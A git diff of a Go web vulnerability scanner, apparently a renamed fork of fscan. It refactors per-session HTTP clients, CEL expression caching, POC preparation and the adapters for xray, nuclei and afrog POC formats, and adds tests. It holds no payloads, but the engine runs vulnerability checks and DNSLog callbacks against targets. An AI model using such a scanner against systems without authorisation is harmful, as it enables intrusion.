+type HTTPClientSet struct { + Client *http.Client + ClientNoRedirect *http.Client + ClientGM *http.Client + ClientNoRedirectGM *http.Client +} + // Inithttp 初始化HTTP客户端配置 func Inithttp(cfg *common.Config) error { // 获取POC并发数,默认20 @@ -57,6 +66,40 @@ func Inithttp(cfg *common.Config) error { return nil } +// InitSessionHTTP creates HTTP clients owned by a single scan session. +func InitSessionHTTP(cfg *common.Config, session *common.ScanSession) error { + if cfg == nil || session == nil { + return fmt.Errorf("scan config and session are required") + } + pocNum := cfg.POC.Num + if pocNum <= 0 { + pocNum = 20 + } + clients, err := buildHTTPClientSet(pocNum, cfg.Network.HTTPProxy, cfg.Network.WebTimeout, cfg.Network.MaxRedirects, &cfg.Network) + if err != nil { + return fmt.Errorf("%s: %w", i18n.GetText("webscan_http_client_init_failed"), err) + } + session.DeactivateHTTPClients() + session.HTTPClient = clients.Client + session.HTTPClientNoRedirect = clients.ClientNoRedirect + session.HTTPClientGM = clients.ClientGM + session.HTTPClientNoRedirectGM = clients.ClientNoRedirectGM + return nil +} + +// GetHTTPClientSet returns a consistent snapshot of the compatibility clients. +// New scan code should prefer the clients attached to common.ScanSession. +func GetHTTPClientSet() HTTPClientSet { + clientMu.Lock() + defer clientMu.Unlock() + return HTTPClientSet{ + Client: Client, + ClientNoRedirect: ClientNoRedirect, + ClientGM: ClientGM, + ClientNoRedirectGM: ClientNoRedirectGM, + } +} + // configureHTTPProxy 统一配置HTTP代理(SOCKS5优先于HTTP代理) func configureHTTPProxy(tr *http.Transport, legacyProxy string, networkConfig *common.NetworkConfig) error { // 优先使用SOCKS5代理(与服务扫描保持一致) @@ -137,6 +180,26 @@ func normalizeHTTPProxyURL(proxyURL string) string { // InitHTTPClient 创建HTTP客户端 func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, maxRedirects int, networkConfig *common.NetworkConfig) error { + clients, err := buildHTTPClientSet(ThreadsNum, DownProxy, Timeout, maxRedirects, networkConfig) + if err != nil { + return err + } + + clientMu.Lock() + defer clientMu.Unlock() + for _, old := range []*http.Client{Client, ClientNoRedirect, ClientGM, ClientNoRedirectGM} { + if old != nil { + old.CloseIdleConnections() + } + } + Client = clients.Client + ClientNoRedirect = clients.ClientNoRedirect + ClientGM = clients.ClientGM + ClientNoRedirectGM = clients.ClientNoRedirectGM + return nil +} + +func buildHTTPClientSet(ThreadsNum int, DownProxy string, Timeout time.Duration, maxRedirects int, networkConfig *common.NetworkConfig) (*HTTPClientSet, error) { // 配置基础连接参数 dialer := &net.Dialer{ Timeout: dialTimeout, @@ -173,11 +236,11 @@ func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, max // 统一配置代理 if err := configureHTTPProxy(tr, DownProxy, networkConfig); err != nil { - return err + return nil, err } // 创建标准HTTP客户端(限制重定向次数) - Client = &http.Client{ + client := &http.Client{ Transport: tr, Timeout: Timeout, CheckRedirect: func(req *http.Request, via []*http.Request) error { @@ -189,7 +252,7 @@ func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, max } // 创建不跟随重定向的HTTP客户端 - ClientNoRedirect = &http.Client{ + clientNoRedirect := &http.Client{ Transport: tr, Timeout: Timeout, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, @@ -215,7 +278,7 @@ func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, max DisableKeepAlives: false, } - ClientGM = &http.Client{ + clientGM := &http.Client{ Transport: trGM, Timeout: Timeout, CheckRedirect: func(req *http.Request, via []*http.Request) error { @@ -226,13 +289,18 @@ func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, max }, } - ClientNoRedirectGM = &http.Client{ + clientNoRedirectGM := &http.Client{ Transport: trGM, Timeout: Timeout, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } - return nil + return &HTTPClientSet{ + Client: client, + ClientNoRedirect: clientNoRedirect, + ClientGM: clientGM, + ClientNoRedirectGM: clientNoRedirectGM, + }, nil } // Poc 定义漏洞检测配置结构 @@ -243,6 +311,10 @@ type Poc struct { Rules []Rules `yaml:"rules"` // 检测规则列表 Groups RuleMap `yaml:"groups"` // 规则组映射 Detail Detail `yaml:"detail"` // 漏洞详情 + + prepareOnce sync.Once + prepared *preparedPoc + prepareErr error } // MapSlice 用于解析YAML的通用映射类型 @@ -409,10 +481,13 @@ func parsePocYAML(data []byte, fileName string) (*Poc, error) { } // 转换为fscan内部格式 - poc, err := universalPoc.ToFscanPoc() + poc, err := universalPoc.ToNativePoc() if err != nil { return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_convert_failed"), fileName, err) } + if err := poc.Prepare(); err != nil { + return nil, fmt.Errorf("prepare POC %s: %w", fileName, err) + } return poc, nil } diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go index 51398fa9..73ec36c4 100644 --- a/webscan/lib/Eval.go +++ b/webscan/lib/Eval.go @@ -22,8 +22,8 @@ import ( "github.com/google/cel-go/common/types" "github.com/google/cel-go/common/types/ref" "github.com/google/cel-go/interpreter/functions" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common" + "scanner/common/i18n" exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" ) @@ -37,15 +37,6 @@ var ( const maxPOCResponseBodyBytes = 8 << 20 -// 包级POC配置(atomic 保证并发安全) -var pocDNSLog atomic.Bool - -// InitPOCConfig 初始化POC配置(在扫描开始前调用) -// 这样CEL回调函数可以使用包级变量而非GetGlobalConfig -func InitPOCConfig(dnsLog bool) { - pocDNSLog.Store(dnsLog) -} - // NewEnv 创建一个新的 CEL 环境(使用缓存避免重复注册函数) func NewEnv(c *CustomLib) (*cel.Env, error) { cachedCELEnvOnce.Do(func() { @@ -139,9 +130,82 @@ func MakeVarDecl(key, value string) *exprpb.Decl { } } -// CelProgCache 缓存编译后的 CEL Program,避免同一 POC 内重复编译 -// 在 executePoc 中创建,同一个 POC 的所有规则/参数组合共享 -type CelProgCache map[string]cel.Program +// CelProgCache 缓存编译后的 CEL Program。 +// 缓存由 POC 加载阶段预热,执行阶段可被多个目标并发复用。 +type CelProgCache struct { + mu sync.RWMutex + programs map[string]cachedCELProgram + sealed atomic.Bool +} + +type cachedCELProgram struct { + program cel.Program + err error +} + +func newCelProgCache(capacity int) *CelProgCache { + if capacity < 0 { + capacity = 0 + } + return &CelProgCache{programs: make(map[string]cachedCELProgram, capacity)} +} + +func (c *CelProgCache) get(expression string) (cel.Program, error, bool) { + if c == nil { + return nil, nil, false + } + if c.sealed.Load() { + entry, exists := c.programs[expression] + return entry.program, entry.err, exists + } + c.mu.RLock() + entry, exists := c.programs[expression] + c.mu.RUnlock() + return entry.program, entry.err, exists +} + +func (c *CelProgCache) putIfAbsent(expression string, program cel.Program, compileErr error) (cel.Program, error) { + if c == nil { + return program, compileErr + } + if c.sealed.Load() { + return program, compileErr + } + c.mu.Lock() + if c.sealed.Load() { + c.mu.Unlock() + return program, compileErr + } + if existing, exists := c.programs[expression]; exists { + c.mu.Unlock() + return existing.program, existing.err + } + c.programs[expression] = cachedCELProgram{program: program, err: compileErr} + c.mu.Unlock() + return program, compileErr +} + +func (c *CelProgCache) len() int { + if c == nil { + return 0 + } + if c.sealed.Load() { + return len(c.programs) + } + c.mu.RLock() + length := len(c.programs) + c.mu.RUnlock() + return length +} + +func (c *CelProgCache) seal() { + if c == nil { + return + } + c.mu.Lock() + c.sealed.Store(true) + c.mu.Unlock() +} // Evaluate 评估 CEL 表达式(无缓存,用于 Set/Sets 求值等低频路径) func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) { @@ -149,35 +213,27 @@ func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (r } // EvaluateCached 评估 CEL 表达式(带编译缓存,用于规则执行热路径) -func EvaluateCached(env *cel.Env, expression string, params map[string]interface{}, cache CelProgCache) (ref.Val, error) { +func EvaluateCached(env *cel.Env, expression string, params map[string]interface{}, cache *CelProgCache) (ref.Val, error) { if expression == "" { return types.Bool(true), nil } - var program cel.Program - - if cache != nil { - if cached, ok := cache[expression]; ok { - program = cached - } - } - - if program == nil { + program, compileErr, cached := cache.get(expression) + if !cached { ast, issues := env.Compile(expression) if issues.Err() != nil { - return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_expression_compile_failed"), issues.Err()) - } - - var err error - program, err = env.Program(ast, GetBaseProgramOptions()...) - if err != nil { - return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_program_create_failed"), err) - } - - if cache != nil { - cache[expression] = program + _, compileErr = cache.putIfAbsent(expression, nil, issues.Err()) + } else { + program, compileErr = env.Program(ast, GetBaseProgramOptions()...) + program, compileErr = cache.putIfAbsent(expression, program, compileErr) } } + if compileErr != nil { + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_expression_compile_failed"), compileErr) + } + if program == nil { + return nil, fmt.Errorf("%s", i18n.GetText("webscan_program_create_failed")) + } result, _, err := program.Eval(params) if err != nil { @@ -371,16 +427,23 @@ func randomString(n int) string { return RandomStr(randSource, charset, n) } -// reverseCheck 检查 DNS 记录是否存在 -// 使用包级pocDNSLog变量,由InitPOCConfig初始化 +// reverseCheck 检查 DNS 记录是否存在。 +// DNSLog 未启用时 newReverse 返回空对象,因此无需进程级开关。 func reverseCheck(r *Reverse, timeout int64) bool { - // 检查必要条件(使用包级配置变量) - if ceyeAPI == "" || r.Domain == "" || !pocDNSLog.Load() { + if ceyeAPI == "" || r == nil || r.Domain == "" { return false } - // 等待指定时间 - time.Sleep(time.Second * time.Duration(timeout)) + // 外部 POC 可控该参数,限制范围以避免超长或溢出的阻塞。 + if timeout < 0 { + return false + } + if timeout > 30 { + timeout = 30 + } + if timeout > 0 { + time.Sleep(time.Second * time.Duration(timeout)) + } // 提取子域名 sub := strings.Split(r.Domain, ".")[0] @@ -503,9 +566,9 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (* ) if redirect { - oResp, err = requestClient(true).Do(req) + oResp, err = requestClient(session, true).Do(req) } else { - oResp, err = requestClient(false).Do(req) + oResp, err = requestClient(session, false).Do(req) } // 标准TLS握手级别失败时,尝试国密TLS客户端 @@ -517,13 +580,13 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (* } } if redirect { - if clientGM := gmRequestClient(true); clientGM != nil { + if clientGM := gmRequestClient(session, true); clientGM != nil { if oResp2, err2 := clientGM.Do(req); err2 == nil { oResp, err = oResp2, nil } } } else { - if clientGM := gmRequestClient(false); clientGM != nil { + if clientGM := gmRequestClient(session, false); clientGM != nil { if oResp2, err2 := clientGM.Do(req); err2 == nil { oResp, err = oResp2, nil } @@ -550,15 +613,24 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (* return resp, err } -func requestClient(redirect bool) *http.Client { +func requestClient(session *common.ScanSession, redirect bool) *http.Client { + if session != nil { + if redirect && session.HTTPClient != nil { + return session.HTTPClient + } + if !redirect && session.HTTPClientNoRedirect != nil { + return session.HTTPClientNoRedirect + } + } + clients := GetHTTPClientSet() if redirect { - if Client != nil { - return Client + if clients.Client != nil { + return clients.Client } return http.DefaultClient } - if ClientNoRedirect != nil { - return ClientNoRedirect + if clients.ClientNoRedirect != nil { + return clients.ClientNoRedirect } return &http.Client{ CheckRedirect: func(*http.Request, []*http.Request) error { @@ -567,11 +639,20 @@ func requestClient(redirect bool) *http.Client { } } -func gmRequestClient(redirect bool) *http.Client { +func gmRequestClient(session *common.ScanSession, redirect bool) *http.Client { + if session != nil { + if redirect && session.HTTPClientGM != nil { + return session.HTTPClientGM + } + if !redirect && session.HTTPClientNoRedirectGM != nil { + return session.HTTPClientNoRedirectGM + } + } + clients := GetHTTPClientSet() if redirect { - return ClientGM + return clients.ClientGM } - return ClientNoRedirectGM + return clients.ClientNoRedirectGM } // ParseURL 解析 TargetURL 并转换为自定义 TargetURL 类型 diff --git a/webscan/lib/client_test.go b/webscan/lib/client_test.go index 9b6199c7..33e06619 100644 --- a/webscan/lib/client_test.go +++ b/webscan/lib/client_test.go @@ -2,7 +2,9 @@ package lib import ( "testing" + "time" + "scanner/common" "gopkg.in/yaml.v2" ) @@ -130,3 +132,43 @@ func TestNormalizeHTTPProxyURL(t *testing.T) { }) } } + +func TestInitSessionHTTPKeepsScansIsolated(t *testing.T) { + globalBefore := GetHTTPClientSet() + + cfgA := common.NewConfig() + cfgA.Network.WebTimeout = 2 * time.Second + cfgA.Network.MaxRedirects = 1 + sessionA := common.NewScanSession(cfgA, common.NewState(), &common.FlagVars{}) + if err := InitSessionHTTP(cfgA, sessionA); err != nil { + t.Fatalf("InitSessionHTTP(A): %v", err) + } + defer sessionA.Deactivate() + + cfgB := common.NewConfig() + cfgB.Network.WebTimeout = 9 * time.Second + cfgB.Network.MaxRedirects = 4 + sessionB := common.NewScanSession(cfgB, common.NewState(), &common.FlagVars{}) + if err := InitSessionHTTP(cfgB, sessionB); err != nil { + t.Fatalf("InitSessionHTTP(B): %v", err) + } + defer sessionB.Deactivate() + + if sessionA.HTTPClient == nil || sessionB.HTTPClient == nil { + t.Fatal("session HTTP clients were not initialized") + } + if sessionA.HTTPClient == sessionB.HTTPClient { + t.Fatal("independent sessions unexpectedly share an HTTP client") + } + if sessionA.HTTPClient.Timeout != 2*time.Second || sessionB.HTTPClient.Timeout != 9*time.Second { + t.Fatalf("session timeouts = %s and %s", sessionA.HTTPClient.Timeout, sessionB.HTTPClient.Timeout) + } + if requestClient(sessionA, true) != sessionA.HTTPClient || requestClient(sessionB, false) != sessionB.HTTPClientNoRedirect { + t.Fatal("request client selection did not prefer the session") + } + + globalAfter := GetHTTPClientSet() + if globalAfter != globalBefore { + t.Fatal("session initialization mutated compatibility HTTP clients") + } +} diff --git a/webscan/lib/poc_adapter.go b/webscan/lib/poc_adapter.go index 597414ea..6980a8ab 100644 --- a/webscan/lib/poc_adapter.go +++ b/webscan/lib/poc_adapter.go @@ -4,7 +4,7 @@ import ( "fmt" "strings" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" "gopkg.in/yaml.v2" ) @@ -12,8 +12,8 @@ import ( type PocFormat string const ( - // FormatFscan fscan原生格式 - FormatFscan PocFormat = "fscan" + // FormatNative scanner原生格式 + FormatNative PocFormat = "native" // FormatNuclei Nuclei格式 FormatNuclei PocFormat = "nuclei" // FormatXray xray格式 @@ -55,7 +55,7 @@ func (l yamlStringList) String() string { type UniversalPoc interface { GetName() string // 获取POC名称 GetFormat() PocFormat // 获取格式类型 - ToFscanPoc() (*Poc, error) // 转换为fscan内部格式 + ToNativePoc() (*Poc, error) // 转换为fscan内部格式 } // DetectPocFormat 检测POC格式 @@ -105,11 +105,11 @@ func DetectPocFormat(data []byte) PocFormat { if rules, hasRules := raw["rules"]; hasRules { // 检查 rules 是否为数组(fscan 风格) if _, isArray := rules.([]interface{}); isArray { - return FormatFscan + return FormatNative } } if _, hasGroups := raw["groups"]; hasGroups { - return FormatFscan + return FormatNative } } @@ -121,8 +121,8 @@ func LoadUniversalPoc(filename string, data []byte) (UniversalPoc, error) { format := DetectPocFormat(data) switch format { - case FormatFscan: - return loadFscanPoc(data) + case FormatNative: + return loadNativePoc(data) case FormatNuclei: return loadNucleiPoc(data) case FormatXray: @@ -136,31 +136,31 @@ func LoadUniversalPoc(filename string, data []byte) (UniversalPoc, error) { // ============= fscan格式适配器 ============= -// FscanPocAdapter fscan原生格式适配器 -type FscanPocAdapter struct { +// NativePocAdapter fscan原生格式适配器 +type NativePocAdapter struct { *Poc } -func loadFscanPoc(data []byte) (*FscanPocAdapter, error) { +func loadNativePoc(data []byte) (*NativePocAdapter, error) { var poc Poc if err := yaml.Unmarshal(data, &poc); err != nil { - return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_fscan_format_parse_failed"), err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_native_format_parse_failed"), err) } - return &FscanPocAdapter{&poc}, nil + return &NativePocAdapter{&poc}, nil } // GetName 获取POC名称 -func (f *FscanPocAdapter) GetName() string { +func (f *NativePocAdapter) GetName() string { return f.Name } // GetFormat 获取POC格式类型 -func (f *FscanPocAdapter) GetFormat() PocFormat { - return FormatFscan +func (f *NativePocAdapter) GetFormat() PocFormat { + return FormatNative } -// ToFscanPoc 转换为Fscan POC格式 -func (f *FscanPocAdapter) ToFscanPoc() (*Poc, error) { +// ToNativePoc 转换为Fscan POC格式 +func (f *NativePocAdapter) ToNativePoc() (*Poc, error) { return f.Poc, nil } @@ -222,8 +222,8 @@ func (n *NucleiPocAdapter) GetFormat() PocFormat { return FormatNuclei } -// ToFscanPoc 将Nuclei格式转换为fscan格式 -func (n *NucleiPocAdapter) ToFscanPoc() (*Poc, error) { +// ToNativePoc 将Nuclei格式转换为fscan格式 +func (n *NucleiPocAdapter) ToNativePoc() (*Poc, error) { poc := &Poc{ Name: n.GetName(), Detail: Detail{ @@ -440,8 +440,8 @@ func (x *XrayPocAdapter) GetFormat() PocFormat { return FormatXray } -// ToFscanPoc 将xray格式转换为fscan格式 -func (x *XrayPocAdapter) ToFscanPoc() (*Poc, error) { +// ToNativePoc 将xray格式转换为fscan格式 +func (x *XrayPocAdapter) ToNativePoc() (*Poc, error) { poc := &Poc{ Name: x.Name, Detail: x.Detail, @@ -542,8 +542,8 @@ func (a *AfrogPocAdapter) GetFormat() PocFormat { return FormatAfrog } -// ToFscanPoc 将afrog格式转换为fscan格式 -func (a *AfrogPocAdapter) ToFscanPoc() (*Poc, error) { +// ToNativePoc 将afrog格式转换为fscan格式 +func (a *AfrogPocAdapter) ToNativePoc() (*Poc, error) { // 转换元数据(使用 Nuclei 风格的 info) poc := &Poc{ Name: a.GetName(), diff --git a/webscan/lib/poc_adapter_example_test.go b/webscan/lib/poc_adapter_example_test.go index 48c9a52a..2a347f15 100644 --- a/webscan/lib/poc_adapter_example_test.go +++ b/webscan/lib/poc_adapter_example_test.go @@ -35,7 +35,7 @@ detail: fmt.Printf(" ✓ 格式: %s\n", poc1.GetFormat()) fmt.Printf(" ✓ 名称: %s\n", poc1.GetName()) - fscanPoc1, _ := poc1.ToFscanPoc() + fscanPoc1, _ := poc1.ToNativePoc() fmt.Printf(" ✓ 规则数: %d\n", len(fscanPoc1.Rules)) fmt.Println() @@ -76,7 +76,7 @@ http: fmt.Printf(" ✓ 格式: %s\n", poc2.GetFormat()) fmt.Printf(" ✓ 名称: %s\n", poc2.GetName()) - fscanPoc2, _ := poc2.ToFscanPoc() + fscanPoc2, _ := poc2.ToNativePoc() fmt.Printf(" ✓ 规则数: %d (Nuclei的2个path转为2个rule)\n", len(fscanPoc2.Rules)) fmt.Printf(" ✓ 第一条规则表达式: %s\n", fscanPoc2.Rules[0].Expression[:80]+"...") fmt.Println() @@ -94,7 +94,7 @@ http: `name: test rules: - method: GET`, - FormatFscan, + FormatNative, }, { "Nuclei格式", @@ -154,7 +154,7 @@ http: fmt.Println("特性1: Nuclei matcher 转换") poc, _ := LoadUniversalPoc("demo.yaml", []byte(nucleiYaml)) - fscanPoc, _ := poc.ToFscanPoc() + fscanPoc, _ := poc.ToNativePoc() fmt.Printf(" 原始: Nuclei format with 2 matchers\n") fmt.Printf(" 转换: fscan expression\n") @@ -179,7 +179,7 @@ http: ` poc2, _ := LoadUniversalPoc("multi.yaml", []byte(multiPathYaml)) - fscanPoc2, _ := poc2.ToFscanPoc() + fscanPoc2, _ := poc2.ToNativePoc() fmt.Printf(" 原始: 3个 path\n") fmt.Printf(" 转换: %d 个 rule\n", len(fscanPoc2.Rules)) diff --git a/webscan/lib/poc_adapter_realworld_test.go b/webscan/lib/poc_adapter_realworld_test.go index 0315fdee..50082ab7 100644 --- a/webscan/lib/poc_adapter_realworld_test.go +++ b/webscan/lib/poc_adapter_realworld_test.go @@ -39,9 +39,9 @@ func TestXrayRealPoc(t *testing.T) { t.Run("转换为fscan格式", func(t *testing.T) { poc, _ := LoadUniversalPoc("74cms-sqli-1.yml", data) - fscanPoc, err := poc.ToFscanPoc() + fscanPoc, err := poc.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if fscanPoc.Name != "poc-yaml-74cms-sqli-1" { @@ -104,9 +104,9 @@ func TestAfrogRealPoc(t *testing.T) { t.Run("转换为fscan格式", func(t *testing.T) { poc, _ := LoadUniversalPoc("CNVD-2020-62422.yaml", data) - fscanPoc, err := poc.ToFscanPoc() + fscanPoc, err := poc.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if fscanPoc.Name != "致远oa系统存在任意文件读取漏洞" { @@ -162,9 +162,9 @@ func TestAfrogMultiRulePoc(t *testing.T) { t.Fatalf("LoadUniversalPoc() error = %v", err) } - fscanPoc, err := poc.ToFscanPoc() + fscanPoc, err := poc.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } // 这个 POC 有 r0 和 r1 两个规则 @@ -207,9 +207,9 @@ func TestXrayMultiRulePoc(t *testing.T) { t.Fatalf("LoadUniversalPoc() error = %v", err) } - fscanPoc, err := poc.ToFscanPoc() + fscanPoc, err := poc.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } // 这个 POC 有 r0, r1, r2, r3 四个规则 @@ -244,7 +244,7 @@ func TestFormatDetectionComparison(t *testing.T) { { name: "fscan格式", path: "C:\\Users\\29037\\GolandProjects\\fscan\\webscan\\pocs\\74cms-sqli-1.yml", - expected: FormatFscan, + expected: FormatNative, }, { name: "xray格式", diff --git a/webscan/lib/poc_adapter_test.go b/webscan/lib/poc_adapter_test.go index c6dbe68f..258f0fe9 100644 --- a/webscan/lib/poc_adapter_test.go +++ b/webscan/lib/poc_adapter_test.go @@ -22,7 +22,7 @@ rules: - method: GET path: /test `, - expected: FormatFscan, + expected: FormatNative, }, { name: "fscan格式 - 有name和groups", @@ -33,7 +33,7 @@ groups: - method: GET path: /test `, - expected: FormatFscan, + expected: FormatNative, }, { name: "Nuclei格式 - 有id和info", @@ -70,8 +70,8 @@ data: test } } -// TestFscanPocAdapter 测试fscan格式适配器 -func TestFscanPocAdapter(t *testing.T) { +// TestNativePocAdapter 测试fscan格式适配器 +func TestNativePocAdapter(t *testing.T) { yaml := ` name: poc-yaml-test-fscan set: @@ -87,22 +87,22 @@ detail: - https://example.com ` - adapter, err := loadFscanPoc([]byte(yaml)) + adapter, err := loadNativePoc([]byte(yaml)) if err != nil { - t.Fatalf("loadFscanPoc() error = %v", err) + t.Fatalf("loadNativePoc() error = %v", err) } - if adapter.GetFormat() != FormatFscan { - t.Errorf("GetFormat() = %v, want %v", adapter.GetFormat(), FormatFscan) + if adapter.GetFormat() != FormatNative { + t.Errorf("GetFormat() = %v, want %v", adapter.GetFormat(), FormatNative) } if adapter.GetName() != "poc-yaml-test-fscan" { t.Errorf("GetName() = %v, want %v", adapter.GetName(), "poc-yaml-test-fscan") } - poc, err := adapter.ToFscanPoc() + poc, err := adapter.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if poc.Name != "poc-yaml-test-fscan" { @@ -157,9 +157,9 @@ http: t.Errorf("GetName() = %v, want %v", adapter.GetName(), "Test Nuclei Template") } - poc, err := adapter.ToFscanPoc() + poc, err := adapter.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if poc.Name != "Test Nuclei Template" { @@ -223,9 +223,9 @@ http: if err != nil { t.Fatalf("loadNucleiPoc() error = %v", err) } - poc, err := adapter.ToFscanPoc() + poc, err := adapter.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if poc.Detail.Author != "alice, bob" { t.Fatalf("Author = %q, want alice, bob", poc.Detail.Author) @@ -256,9 +256,9 @@ rules: if err != nil { t.Fatalf("loadAfrogPoc() error = %v", err) } - poc, err := adapter.ToFscanPoc() + poc, err := adapter.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if poc.Detail.Author != "carol" { t.Fatalf("Author = %q, want carol", poc.Detail.Author) @@ -508,7 +508,7 @@ rules: - method: GET path: /test `, - wantType: FormatFscan, + wantType: FormatNative, wantErr: false, }, { @@ -550,12 +550,12 @@ unknown: format } // 验证转换为fscan格式 - fscanPoc, err := poc.ToFscanPoc() + fscanPoc, err := poc.ToNativePoc() if err != nil { - t.Errorf("ToFscanPoc() error = %v", err) + t.Errorf("ToNativePoc() error = %v", err) } if fscanPoc == nil { - t.Error("ToFscanPoc() returned nil") + t.Error("ToNativePoc() returned nil") } } }) @@ -596,9 +596,9 @@ detail: t.Fatalf("loadXrayPoc() error = %v", err) } - poc, err := adapter.ToFscanPoc() + poc, err := adapter.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if len(poc.Rules) != 2 { @@ -647,9 +647,9 @@ detail: t.Fatalf("loadXrayPoc() error = %v", err) } - poc, err := adapter.ToFscanPoc() + poc, err := adapter.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if len(poc.Rules) != 1 { @@ -694,9 +694,9 @@ rules: t.Fatalf("loadAfrogPoc() error = %v", err) } - poc, err := adapter.ToFscanPoc() + poc, err := adapter.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if len(poc.Rules) != 2 { diff --git a/webscan/lib/poc_executor.go b/webscan/lib/poc_executor.go index 0f258799..bd14b78c 100644 --- a/webscan/lib/poc_executor.go +++ b/webscan/lib/poc_executor.go @@ -16,11 +16,11 @@ import ( "sync" "time" - "github.com/google/cel-go/cel" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/output" - "github.com/shadow1ng/fscan/webscan/fingerprint" + "github.com/google/cel-go/common/types/ref" + "scanner/common" + "scanner/common/i18n" + "scanner/common/output" + "scanner/webscan/fingerprint" exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" ) @@ -138,11 +138,8 @@ func collectVarDeclarations(p *Poc) []*exprpb.Decl { // executePoc 执行单个POC检测 func executePoc(oReq *http.Request, p *Poc, pocCtx *POCContext) (bool, string, error) { - // 收集POC变量声明 - varDecls := collectVarDeclarations(p) - - // 从基础环境扩展(复用缓存的基础环境,仅添加变量声明) - env, err := ExtendEnvWithVars(varDecls) + // 文件 POC 已在加载阶段准备;手工构造的 POC 在这里惰性准备一次。 + plan, err := p.executionPlan() if err != nil { return false, "", fmt.Errorf("%s %s: %w", i18n.GetText("webscan_exec_env_error"), p.Name, err) } @@ -168,25 +165,22 @@ func executePoc(oReq *http.Request, p *Poc, pocCtx *POCContext) (bool, string, e variableMap[key] = newReverse(pocCtx.DNSLog) continue } - if _, err = evalset(env, variableMap, key, expression); err != nil { + if _, err = evalsetCached(plan, variableMap, key, expression); err != nil { pocCtx.Session.LogError(i18n.Tr("webscan_set_exec_error", p.Name, err)) } } - // CEL 编译缓存:同一个 POC 的所有规则/参数组合共享 - progCache := make(CelProgCache) - // 处理爆破模式 if len(p.Sets) > 0 { - success, err := clusterpoc(oReq, p, variableMap, req, env, pocCtx, progCache) + success, err := clusterpoc(oReq, p, variableMap, req, plan, pocCtx) return success, "", err } - return executeRules(oReq, p, variableMap, req, env, pocCtx.Session, progCache) + return executeRules(oReq, p, variableMap, req, plan, pocCtx.Session) } // executeRules 执行POC规则并返回结果 -func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, session *common.ScanSession, progCache CelProgCache) (bool, string, error) { +func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, plan *preparedPoc, session *common.ScanSession) (bool, string, error) { // 处理单个规则的函数 executeRule := func(rule Rules) (bool, error) { Headers := cloneMap(rule.Headers) @@ -248,7 +242,7 @@ func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{} // 执行搜索规则 if rule.Search != "" { - result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) + result := plan.search(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) if len(result) == 0 { return false, nil } @@ -258,7 +252,7 @@ func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{} } // 执行表达式(使用编译缓存) - out, err := EvaluateCached(env, rule.Expression, variableMap, progCache) + out, err := EvaluateCached(plan.env, rule.Expression, variableMap, plan.programs) if err != nil { return false, err } @@ -316,8 +310,13 @@ func doSearch(re string, body string) map[string]string { actual, _ := regexCache.LoadOrStore(re, compiled) r, _ = actual.(*regexp.Regexp) } + return searchWithRegexp(r, body) +} - // 执行正则匹配 +func searchWithRegexp(r *regexp.Regexp, body string) map[string]string { + if r == nil { + return nil + } result := r.FindStringSubmatch(body) names := r.SubexpNames() @@ -327,7 +326,7 @@ func doSearch(re string, body string) map[string]string { for i, name := range names { if i > 0 && i < len(result) && name != "" { // 特殊处理Set-Cookie头:剥离Path/Expires等属性,仅保留key=value - if strings.HasPrefix(re, "Set-Cookie:") { + if strings.HasPrefix(r.String(), "Set-Cookie:") { paramsMap[name] = optimizeCookies(result[i]) } else { paramsMap[name] = result[i] @@ -408,7 +407,7 @@ func newReverse(dnsLog bool) *Reverse { } // clusterpoc 